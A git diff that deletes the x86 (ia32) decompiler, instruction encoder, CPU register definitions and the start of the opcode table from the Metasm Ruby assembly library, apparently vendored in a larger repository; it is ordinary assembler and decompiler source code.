= di.instruction.args - if di.opcode.props[:setip] and not di.opcode.props[:stopexec] - # conditional jump - commit[] - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - if di.opcode.name =~ /^loop(.+)?/ - cx = C::CExpression[:'--', ceb[:ecx]] - cc = $1 ? C::CExpression[cx, :'&&', ceb[decode_cc_to_expr($1)]] : cx - else - cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] - end - # XXX switch/indirect/multiple jmp - stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) - to.delete dcmp.dasm.normalize(n) - next - end - - if di.opcode.name == 'mov' - # mov cr0 etc - a1, a2 = di.instruction.args - case a1 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg - sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32 - if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] - dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});") - end - f = dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"] - a2 = a2.symbolic(di) - a2 = [a2, :&, 0xffff] if sz == 16 - stmts << C::CExpression.new(f, :funcall, [ceb[a2]], f.type.type) - next - end - case a2 - when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg - if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] - sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32 - dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);") - end - f = dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"] - t = f.type.type - binding.delete a1.symbolic(di) - stmts << C::CExpression.new(ce[a1.symbolic(di)], :'=', C::CExpression.new(f, :funcall, [], t), t) - next - end - end - - case di.opcode.name - when 'ret' - commit[] - ret = nil - ret = C::CExpression[ceb[:eax]] unless func.type.type.kind_of? C::BaseType and func.type.type.name == :void - stmts << C::Return.new(ret) - when 'call' # :saveip - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - args = [] - if f = dcmp.c_parser.toplevel.symbol[n] and f.type.kind_of? C::Function and f.type.args - args = get_func_args[di, f] - elsif defined? @dasm_func_default_off and o = @dasm_func_default_off[[dcmp.dasm, di.address]] and o.kind_of? Integer and o > @size/8 - f = C::Variable.new - f.type = C::Function.new(C::BaseType.new(:int), []) - ((o/(@size/8))-1).times { f.type.args << C::Variable.new(nil,C::BaseType.new(:int)) } - args = get_func_args[di, f] - end - commit[] - #next if not di.block.to_subfuncret - - if not n.kind_of? ::String or (f and not f.type.kind_of? C::Function) - # indirect funcall - fptr = ceb[n] - binding.delete n - proto = C::Function.new(C::BaseType.new(:int)) - proto = f.type if f and f.type.kind_of? C::Function - f = C::CExpression[[fptr], C::Pointer.new(proto)] - elsif not f - # internal functions are predeclared, so this one is extern - f = C::Variable.new - f.name = n - f.type = C::Function.new(C::BaseType.new(:int)) - if dcmp.recurse > 0 - dcmp.c_parser.toplevel.symbol[n] = f - dcmp.c_parser.toplevel.statements << C::Declaration.new(f) - end - end - commit[] - binding.delete :eax - e = C::CExpression[f, :funcall, args] - e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) - stmts << e - when 'jmp' - #if di.comment.to_a.include? 'switch' - # n = di.instruction.args.first.symbolic(di) - # fptr = ceb[n] - # binding.delete n - # commit[] - # sw = C::Switch.new(fptr, C::Block.new(scope)) - # di.block.to_normal.to_a.each { |addr| - # addr = dcmp.dasm.normalize addr - # to.delete addr - # next if not l = dcmp.dasm.get_label_at(addr) - # sw.body.statements << C::Goto.new(l) - # } - # stmts << sw - a = di.instruction.args.first - if a.kind_of? Expression - elsif not a.respond_to? :symbolic - stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) - else - n = di.instruction.args.first.symbolic(di) - fptr = ceb[n] - binding.delete n - commit[] - if fptr.kind_of? C::CExpression and fptr.type.pointer? and fptr.type.untypedef.type.kind_of? C::Function - proto = fptr.type.untypedef.type - args = get_func_args[di, fptr.type] - else - proto = C::Function.new(C::BaseType.new(:void)) - fptr = C::CExpression[[fptr], C::Pointer.new(proto)] - args = [] - end - ret = C::Return.new(C::CExpression[fptr, :funcall, args]) - class << ret ; attr_accessor :from_instr end - ret.from_instr = di - stmts << ret - to = [] - end - when 'lgdt' - if not dcmp.c_parser.toplevel.struct['segment_descriptor'] - dcmp.c_parser.parse('struct segment_descriptor { __int16 limit; __int16 base0_16; __int8 base16_24; __int8 flags1; __int8 flags2_limit_16_20; __int8 base24_32; };') - dcmp.c_parser.parse('struct segment_table { __int16 size; struct segment_descriptor *table; } __attribute__((pack(2)));') - end - if not dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'] - dcmp.c_parser.parse('void intrinsic_lgdt(struct segment_table *);') - end - # need a way to transform arg => :frameptr+12 - arg = di.backtrace_binding.keys.grep(Indirection).first.pointer - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lgdt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'lidt' - if not dcmp.c_parser.toplevel.struct['interrupt_descriptor'] - dcmp.c_parser.parse('struct interrupt_descriptor { __int16 offset0_16; __int16 segment; __int16 flags; __int16 offset16_32; };') - dcmp.c_parser.parse('struct interrupt_table { __int16 size; struct interrupt_descriptor *table; } __attribute__((pack(2)));') - end - if not dcmp.c_parser.toplevel.symbol['intrinsic_lidt'] - dcmp.c_parser.parse('void intrinsic_lidt(struct interrupt_table *);') - end - arg = di.backtrace_binding.keys.grep(Indirection).first.pointer - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol['intrinsic_lidt'], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'ltr', 'lldt' - if not dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"] - dcmp.c_parser.parse("void intrinsic_#{di.opcode.name}(int);") - end - arg = di.backtrace_binding.keys.first - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_#{di.opcode.name}"], :funcall, [ceb[arg]], C::BaseType.new(:void)) - when 'out' - sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz - if not dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"] - dcmp.c_parser.parse("void intrinsic_out#{sz}(unsigned short port, __int#{sz} value);") - end - port = di.instruction.args.grep(Expression).first || :edx - stmts << C::CExpression.new(dcmp.c_parser.toplevel.symbol["intrinsic_out#{sz}"], :funcall, [ceb[port], ceb[:eax]], C::BaseType.new(:void)) - when 'in' - sz = di.instruction.args.find { |a_| a_.kind_of? Ia32::Reg and a_.val == 0 }.sz - if not dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] - dcmp.c_parser.parse("__int#{sz} intrinsic_in#{sz}(unsigned short port);") - end - port = di.instruction.args.grep(Expression).first || :edx - f = dcmp.c_parser.toplevel.symbol["intrinsic_in#{sz}"] - binding.delete :eax - stmts << C::CExpression.new(ce[:eax], :'=', C::CExpression.new(f, :funcall, [ceb[port]], f.type.type), f.type.type) - when 'sti', 'cli' - stmts << C::Asm.new(di.instruction.to_s, nil, [], [], nil, nil) - when /^(mov|sto|lod)s([bwdq])/ - op, sz = $1, $2 - commit[] - sz = { 'b' => 1, 'w' => 2, 'd' => 4, 'q' => 8 }[sz] - pt = C::Pointer.new(C::BaseType.new("__int#{sz*8}".to_sym)) - - blk = C::Block.new(scope) - case op - when 'mov' - blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', [:*, [[ceb[:esi]], pt]]] - blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] - blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] - when 'sto' - blk.statements << C::CExpression[[:*, [[ceb[:edi]], pt]], :'=', ceb[:eax]] - blk.statements << C::CExpression[ceb[:edi], :'=', [ceb[:edi], :+, [sz]]] - when 'lod' - blk.statements << C::CExpression[ceb[:eax], :'=', [:*, [[ceb[:esi]], pt]]] - blk.statements << C::CExpression[ceb[:esi], :'=', [ceb[:esi], :+, [sz]]] - #when 'sca' - #when 'cmp' - end - - case (di.instruction.prefix || {})[:rep] - when nil - stmts.concat blk.statements - when 'rep' - blk.statements << C::CExpression[ceb[:ecx], :'=', [ceb[:ecx], :-, [1]]] - stmts << C::While.new(C::CExpression[ceb[:ecx]], blk) - #when 'repz' # sca/cmp only - #when 'repnz' - end - next - else - bd = get_fwdemu_binding(di) - if di.backtrace_binding[:incomplete_binding] - commit[] - stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) - else - update = {} - bd.each { |k, v| - if k.kind_of? ::Symbol and not deps[b].include? k - ops << [k, v] - update[k] = Expression[Expression[v].bind(binding).reduce] - else - stmts << ceb[k, :'=', v] - stmts.pop if stmts.last.kind_of? C::Variable # [:eflag_s, :=, :unknown].reduce - end - } - binding.update update - end - end - } - commit[] - - case to.length - when 0 - if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname - puts " block #{Expression[b]} has no to and don't end in ret" - end - when 1 - if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) - stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) - end - else - puts " block #{Expression[b]} with multiple to" - end - end - - # cleanup di.bt_binding (we set :frameptr etc in those, this may confuse the dasm) - blocks_toclean.each { |b_, to_| - dcmp.dasm.decoded[b_].block.list.each { |di| - di.backtrace_binding = nil - } - } - end - - def decompile_check_abi(dcmp, entry, func) - a = func.type.args || [] - a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') } - ra = a.map { |arg| arg.has_attribute_var('register') }.compact - if (a.length == 1 and ra == ['ecx']) or (a.length >= 2 and ra.sort == ['ecx', 'edx']) - func.add_attribute 'fastcall' - # reorder args - ecx = a.find { |arg| arg.has_attribute_var('register') == 'ecx' } - edx = a.find { |arg| arg.has_attribute_var('register') == 'edx' } - a.insert(0, a.delete(ecx)) - a.insert(1, a.delete(edx)) if edx - end - - if not f = dcmp.dasm.function[entry] or not f.return_address - #func.add_attribute 'noreturn' - else - adj = f.return_address.map { |ra_| dcmp.dasm.backtrace(:esp, ra_, :include_start => true, :stopaddr => entry) }.flatten.uniq - if adj.length == 1 and so = Expression[adj.first, :-, :esp].reduce and so.kind_of? ::Integer - argsz = a.map { |fa| - next if not fa.stackoff - (fa.stackoff + [dcmp.sizeof(fa), dcmp.c_parser.typesize[:ptr]].max-1) / dcmp.c_parser.typesize[:ptr] - }.compact.max.to_i - so /= dcmp.dasm.cpu.size/8 - so -= 1 - if so > argsz - aso = a.empty? ? 0 : a.last.stackoff.to_i + dcmp.c_parser.typesize[:ptr] - (so-argsz).times { - a << C::Variable.new(dcmp.stackoff_to_varname(aso), C::BaseType.new(:int)) - a.last.add_attribute('unused') - aso += dcmp.sizeof(a.last) - } - argsz = so - end - case so - when 0 - when argsz - func.add_attribute 'stdcall' if not func.has_attribute('fastcall') - else - func.add_attribute "stackoff:#{so*dcmp.dasm.cpu.size/8}" - end - else - func.add_attribute "breakstack:#{adj.inspect}" - end - end - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/encode.rb b/lib/metasm/metasm/cpu/ia32/encode.rb deleted file mode 100644 index bda4feb6b9..0000000000 --- a/lib/metasm/metasm/cpu/ia32/encode.rb +++ /dev/null @@ -1,320 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/opcodes' -require 'metasm/encode' - -module Metasm -class Ia32 - class InvalidModRM < Exception ; end - class ModRM - # returns the byte representing the register encoded as modrm - # works with Reg/SimdReg - def self.encode_reg(reg, mregval = 0) - 0xc0 | (mregval << 3) | reg.val - end - - # The argument is an integer representing the 'reg' field of the mrm - # - # caller is responsible for setting the adsz - # returns an array, 1 element per possible immediate size (for un-reduce()able Expression) - def encode(reg = 0, endianness = :little) - reg = reg.val if reg.kind_of? Argument - case @adsz - when 16; encode16(reg, endianness) - when 32; encode32(reg, endianness) - end - end - - private - def encode16(reg, endianness) - if not b - # imm only - return [EncodedData.new << (6 | (reg << 3)) << @imm.encode(:u16, endianness)] - end - - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - ret = EncodedData.new - ret << - case [@b.val, (@i.val if i)] - when [3, 6], [6, 3]; 0 - when [3, 7], [7, 3]; 1 - when [5, 6], [6, 5]; 2 - when [5, 7], [7, 5]; 3 - when [6, nil]; 4 - when [7, nil]; 5 - when [5, nil] - imm ||= 0 - 6 - when [3, nil]; 7 - else raise InvalidModRM, 'invalid modrm16' - end - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - or_bits[reg << 3] - - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1 << 6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2 << 6] - [ret << Expression.encode_imm(imm, :a16, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - ret, rets = rets, ret # or_bits uses ret - or_bits[2<<6] - ret << @imm.encode(:a16, endianness) - [ret, rets] - end - else - [ret] - end - end - - def encode32(reg, endianness) - # 0 => [ [0 ], [1 ], [2 ], [3 ], [:sib ], [:i32 ], [6 ], [7 ] ], \ - # 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], \ - # 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] - # - # b => 0 1 2 3 4 5+i|i 6 7 - # i => 0 1 2 3 nil 5 6 7 - - ret = EncodedData.new << (reg << 3) - - # add bits in the first octet of ret.data (1.9 compatibility layer) - or_bits = lambda { |v| # rape me - if ret.data[0].kind_of? Integer - ret.data[0] |= v - else - ret.data[0] = (ret.data[0].unpack('C').first | v).chr - end - } - - if not self.b and not self.i - or_bits[5] - [ret << @imm.encode(:a32, endianness)] - - elsif not self.b and self.s != 1 - # sib with no b - raise EncodeError, "Invalid ModRM #{self}" if @i.val == 4 - or_bits[4] - s = {8=>3, 4=>2, 2=>1}[@s] - imm = self.imm || Expression[0] - fu = (s << 6) | (@i.val << 3) | 5 - fu = fu.chr if s >= 2 # rb1.9 encoding fix - [ret << fu << imm.encode(:a32, endianness)] - else - imm = @imm.reduce if self.imm - imm = nil if imm == 0 - - if not self.i or (not self.b and self.s == 1) - # no sib byte (except for [esp]) - b = self.b || self.i - - or_bits[b.val] - ret << 0x24 if b.val == 4 - else - # sib - or_bits[4] - - i, b = @i, @b - b, i = i, b if @s == 1 and (i.val == 4 or b.val == 5) - - raise EncodeError, "Invalid ModRM #{self}" if i.val == 4 - - s = {8=>3, 4=>2, 2=>1, 1=>0}[@s] - fu = (s << 6) | (i.val << 3) | b.val - fu = fu.chr if s >= 2 # rb1.9 encoding fix - ret << fu - end - - imm ||= 0 if b.val == 5 - if imm - case Expression.in_range?(imm, :i8) - when true - or_bits[1<<6] - [ret << Expression.encode_imm(imm, :i8, endianness)] - when false - or_bits[2<<6] - [ret << Expression.encode_imm(imm, :a32, endianness)] - when nil - rets = ret.dup - or_bits[1<<6] - ret << @imm.encode(:i8, endianness) - rets, ret = ret, rets # or_bits[] modifies ret directly - or_bits[2<<6] - ret << @imm.encode(:a32, endianness) - [ret, rets] - end - else - [ret] - end - end - end - end - - class Farptr - def encode(endianness, atype) - @addr.encode(atype, endianness) << @seg.encode(:u16, endianness) - end - end - - # returns all forms of the encoding of instruction i using opcode op - # program may be used to create a new label for relative jump/call - def encode_instr_op(program, i, op) - base = op.bin.dup - oi = op.args.zip(i.args) - set_field = lambda { |f, v| - v ||= 0 # ST => ST(0) - fld = op.fields[f] - base[fld[0]] |= v << fld[1] - } - - size = i.prefix[:sz] || @size - - # - # handle prefixes and bit fields - # - pfx = i.prefix.map { |k, v| - case k - when :jmp; {:jmp => 0x3e, :nojmp => 0x2e}[v] - when :lock; 0xf0 - when :rep; {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] - when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v] - when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val] - end - }.compact.pack 'C*' - - if op.name == 'movsx' or op.name == 'movzx' - pfx << 0x66 if size == 48-i.args[0].sz - elsif op.name == 'crc32' - pfx << 0x66 if size == 48-i.args[1].sz - else - opsz = op.props[:argsz] - oi.each { |oa, ia| - case oa - when :reg, :reg_eax, :modrm, :mrm_imm - raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz - opsz = ia.sz - end - } - pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or - (not op.props[:argsz] and opsz and size == 48 - opsz) - opsz ||= op.props[:opsz] - end - opsz ||= size - - if op.props[:adsz] and size == 48 - op.props[:adsz] - pfx << 0x67 - adsz = 48 - size - end - adsz ||= size - # addrsize override / segment override - if mrm = i.args.grep(ModRM).first - if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz)) - pfx << 0x67 - adsz = 48 - adsz - end - pfx << [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][mrm.seg.val] if mrm.seg - end - - - # - # encode embedded arguments - # - postponed = [] - oi.each { |oa, ia| - case oa - when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm - # field arg - set_field[oa, ia.val] - pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128 - when :vexvreg, :vexvxmm, :vexvymm - set_field[:vex_vvvv, ia.val ^ 0xf] - when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0 - # implicit - else - postponed << [oa, ia] - end - } - - if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty? - # reg field of modrm - regval = (base[-1] >> 3) & 7 - base.pop - end - - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0, 3] != 'ret' and i.args.first.kind_of? Expression - postlabel = program.new_label('post'+op.name) - target = postponed.first[1] - target = target.rexpr if target.kind_of? Expression and target.op == :+ and not target.lexpr - postponed.first[1] = Expression[target, :-, postlabel] - end - - pfx << op.props[:needpfx] if op.props[:needpfx] - - # - # append other arguments - # - ret = EncodedData.new(pfx + base.pack('C*')) - - postponed.each { |oa, ia| - case oa - when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym) - when :modrm, :modrmmmx, :modrmxmm, :modrmymm - if ia.kind_of? ModRM - ed = ia.encode(regval, @endianness) - if ed.kind_of?(::Array) - if ed.length > 1 - # we know that no opcode can have more than 1 modrm - ary = [] - ed.each { |m| - ary << (ret.dup << m) - } - ret = ary - next - else - ed = ed.first - end - end - else - ed = ModRM.encode_reg(ia, regval) - end - when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness) - when :i8, :u8, :u16; ed = ia.encode(oa, @endianness) - when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness) - when :i4xmm, :i4ymm; ed = ia.val << 4 # u8 - else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}" - end - - if ret.kind_of?(::Array) - ret.each { |e| e << ed } - else - ret << ed - end - } - - # we know that no opcode with setip accept both modrm and immediate arg, so ret is not an ::Array - ret.add_export(postlabel, ret.virtsize) if postlabel - - ret - end -end -end diff --git a/lib/metasm/metasm/cpu/ia32/main.rb b/lib/metasm/metasm/cpu/ia32/main.rb deleted file mode 100644 index ac2fc115ba..0000000000 --- a/lib/metasm/metasm/cpu/ia32/main.rb +++ /dev/null @@ -1,281 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm - -# The ia32 aka x86 CPU -# currently limited to 16 and 32bit modes -class Ia32 < CPU - - # some ruby magic to declare classes with index -> name association (registers) - class Argument - class << self - # for subclasses - attr_accessor :i_to_s, :s_to_i - end - - private - # index -> name, name -> index - def self.simple_map(a) - # { 1 => 'dr1' } - @i_to_s = Hash[*a.flatten] - # { 'dr1' => 1 } - @s_to_i = @i_to_s.invert - - class_eval { - attr_accessor :val - def initialize(v) - raise Exception, "invalid #{self.class} #{v}" unless self.class.i_to_s[v] - @val = v - end - - def ==(o) - self.class == o.class and val == o.val - end - - def self.from_str(s) new(@s_to_i[s]) end - } - end - - # size -> (index -> name), name -> [index, size] - def self.double_map(h) - # { 32 => { 1 => 'ecx' } } - @i_to_s = h - # { 'ecx' => [1, 32] } - @s_to_i = {} ; @i_to_s.each { |sz, hh| hh.each_with_index { |r, i| @s_to_i[r] = [i, sz] } } - - class_eval { - attr_accessor :val, :sz - def initialize(v, sz) - raise Exception, "invalid #{self.class} #{sz}/#{v}" unless self.class.i_to_s[sz] and self.class.i_to_s[sz][v] - @val = v - @sz = sz - end - - def ==(o) - self.class == o.class and val == o.val and sz == o.sz - end - - def self.from_str(s) - raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s] - new(*x) - end - } - end - end - - - # segment register: es, cs, ss, ds, fs, gs and the theoretical segr6/7 - class SegReg < Argument - simple_map((0..7).zip(%w(es cs ss ds fs gs segr6 segr7))) - end - - # debug register (dr0..dr3, dr6, dr7), and theoretical dr4/5 - class DbgReg < Argument - simple_map((0..7).map { |i| [i, "dr#{i}"] }) - end - - # control register (cr0, cr2, cr3, cr4) and theoretical cr1/5/6/7 - class CtrlReg < Argument - simple_map((0..7).map { |i| [i, "cr#{i}"] }) - end - - # test registers (tr0..tr7) (undocumented) - class TstReg < Argument - simple_map((0..7).map { |i| [i, "tr#{i}"] }) - end - - # floating point registers - class FpReg < Argument - simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST']) - end - - # Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7) - class SimdReg < Argument - double_map 64 => (0..7).map { |n| "mm#{n}" }, - 128 => (0..7).map { |n| "xmm#{n}" }, - 256 => (0..7).map { |n| "ymm#{n}" } - def symbolic(di=nil) ; to_s.to_sym end - end - - # general purpose registers, all sizes - class Reg < Argument - double_map 8 => %w{ al cl dl bl ah ch dh bh}, - 16 => %w{ ax cx dx bx sp bp si di}, - 32 => %w{eax ecx edx ebx esp ebp esi edi} - - Sym = @i_to_s[32].map { |s| s.to_sym } - - # returns a symbolic representation of the register: - # eax => :eax - # cx => :ecx & 0xffff - # ah => (:eax >> 8) & 0xff - def symbolic(di=nil) - s = Sym[@val] - if @sz == 8 and to_s[-1] == ?h - Expression[[Sym[@val-4], :>>, 8], :&, 0xff] - elsif @sz == 8 - Expression[s, :&, 0xff] - elsif @sz == 16 - Expression[s, :&, 0xffff] - else - s - end - end - - # checks if two registers have bits in common - def share?(other) - other.val % (other.sz >> 1) == @val % (@sz >> 1) and (other.sz != @sz or @sz != 8 or other.val == @val) - end - end - - # a far pointer - # an immediate (numeric) pointer and an immediate segment selector - class Farptr < Argument - attr_accessor :seg, :addr - def initialize(seg, addr) - @seg, @addr = seg, addr - end - - def ==(o) - self.class == o.class and seg == o.seg and addr == o.addr - end - end - - # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h]) - class ModRM < Argument - # valid combinaisons for a modrm - # ints are reg indexes, symbols are immediates, except :sib - Sum = { - 16 => { - 0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ], - 1 => [ [3, 6, :i8 ], [3, 7, :i8 ], [5, 6, :i8 ], [5, 7, :i8 ], [6, :i8 ], [7, :i8 ], [5, :i8 ], [3, :i8 ] ], - 2 => [ [3, 6, :i16], [3, 7, :i16], [5, 6, :i16], [5, 7, :i16], [6, :i16], [7, :i16], [5, :i16], [3, :i16] ] - }, - 32 => { - 0 => [ [0], [1], [2], [3], [:sib], [:i32], [6], [7] ], - 1 => [ [0, :i8 ], [1, :i8 ], [2, :i8 ], [3, :i8 ], [:sib, :i8 ], [5, :i8 ], [6, :i8 ], [7, :i8 ] ], - 2 => [ [0, :i32], [1, :i32], [2, :i32], [3, :i32], [:sib, :i32], [5, :i32], [6, :i32], [7, :i32] ] - } - } - - - attr_accessor :adsz, :sz - attr_accessor :seg - attr_accessor :s, :i, :b, :imm - - # creates a new ModRM with the specified attributes: - # - adsz (16/32), sz (8/16/32: byte ptr, word ptr, dword ptr) - # - s, i, b, imm - # - segment selector override - def initialize(adsz, sz, s, i, b, imm, seg = nil) - @adsz, @sz = adsz, sz - @s, @i = s, i if i - @b = b if b - @imm = imm if imm - @seg = seg if seg - end - - # returns the symbolic representation of the ModRM (ie an Indirection) - # segment selectors are represented as eg "segment_base_fs" - # not present when same as implicit (ds:edx, ss:esp) - def symbolic(di=nil) - p = nil - p = Expression[p, :+, @b.symbolic(di)] if b - p = Expression[p, :+, [@s, :*, @i.symbolic(di)]] if i - p = Expression[p, :+, @imm] if imm - p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3) - Indirection[p.reduce, @sz/8, (di.address if di)] - end - - def ==(o) - self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz - end - end - - - # Create a new instance of an Ia32 cpu - # arguments (any order) - # - size in bits (16, 32) [32] - # - instruction set (386, 486, pentium...) [latest] - # - endianness [:little] - def initialize(*a) - super() - @size = (a & [16, 32]).first || 32 - a.delete @size - @endianness = (a & [:big, :little]).first || :little - a.delete @endianness - @family = a.pop || :latest - raise "Invalid arguments #{a.inspect}" if not a.empty? - raise "Invalid Ia32 family #{@family.inspect}" if not respond_to?("init_#@family") - end - - # wrapper to transparently forward Ia32.new(64) to X86_64.new - def self.new(*a) - return X86_64.new(*a) if a.include? 64 and self == Ia32 - super(*a) - end - - # initializes the @opcode_list according to @family - def init_opcode_list - send("init_#@family") - @opcode_list - end - - # defines some preprocessor macros to say who we are: - # _M_IX86 = 500, _X86_, __i386__ - # pass any value in nodefine to just call super w/o defining anything of our own - def tune_prepro(pp, nodefine = false) - super(pp) - return if nodefine - pp.define_weak('_M_IX86', 500) - pp.define_weak('_X86_') - pp.define_weak('__i386__') - end - - # returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16)) - # returns nil if str is invalid - def str_to_reg(str) - Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil - end - - # returns the list of Regs in the instruction arguments - # may be converted into symbols through Reg#symbolic - def instr_args_regs(i) - i = i.instruction if i.kind_of?(DecodedInstruction) - i.args.grep(Reg) - end - - # returns the list of ModRMs in the instruction arguments - # may be converted into Indirection through ModRM#symbolic - def instr_args_memoryptr(i) - i = i.instruction if i.kind_of?(DecodedInstruction) - i.args.grep(ModRM) - end - - # return the 'base' of the ModRM (Reg/nil) - def instr_args_memoryptr_getbase(mrm) - mrm.b || (mrm.i if mrm.s == 1) - end - - # return the offset of the ModRM (Expression/nil) - def instr_args_memoryptr_getoffset(mrm) - mrm.imm - end - - # define ModRM offset (eg to changing imm into an ExpressionString) - def instr_args_memoryptr_setoffset(mrm, imm) - mrm.imm = (imm ? Expression[imm] : imm) - end - - def shortname - "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}" - end -end -X86 = Ia32 -end diff --git a/lib/metasm/metasm/cpu/ia32/opcodes.rb b/lib/metasm/metasm/cpu/ia32/opcodes.rb deleted file mode 100644 index 0aa16cbf43..0000000000 --- a/lib/metasm/metasm/cpu/ia32/opcodes.rb +++ /dev/null @@ -1,1424 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/main' - -module Metasm -class Ia32 - def init_cpu_constants - @opcode_list ||= [] - @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xC7, - :reg => 7, :eeec => 7, :eeed => 7, :eeet => 7, :seg2 => 3, :seg3 => 7, - :regfp => 7, :regmmx => 7, :regxmm => 7, :regymm => 7, - :vex_r => 1, :vex_b => 1, :vex_x => 1, :vex_w => 1, - :vex_vvvv => 0xF - @fields_mask[:seg2A] = @fields_mask[:seg2] - @fields_mask[:seg3A] = @fields_mask[:seg3] - - [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A, - :seg3, :seg3A, :eeec, :eeed, :eeet, :modrm, :mrm_imm, - :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax, - :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx, - :modrmxmm, :regxmm, :modrmymm, :regymm, - :vexvxmm, :vexvymm, :vexvreg, :i4xmm, :i4ymm - ].each { |a| @valid_args[a] = true } - - [:strop, :stropz, :opsz, :adsz, :argsz, :setip, - :stopexec, :saveip, :unsigned_imm, :random, :needpfx, - :xmmx, :modrmR, :modrmA, :mrmvex - ].each { |a| @valid_props[a] = true } - end - - # only most common instructions from the 386 instruction set - # inexhaustive list : - # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg... - def init_386_common_only - init_cpu_constants - - addop_macro1 'adc', 2 - addop_macro1 'add', 0 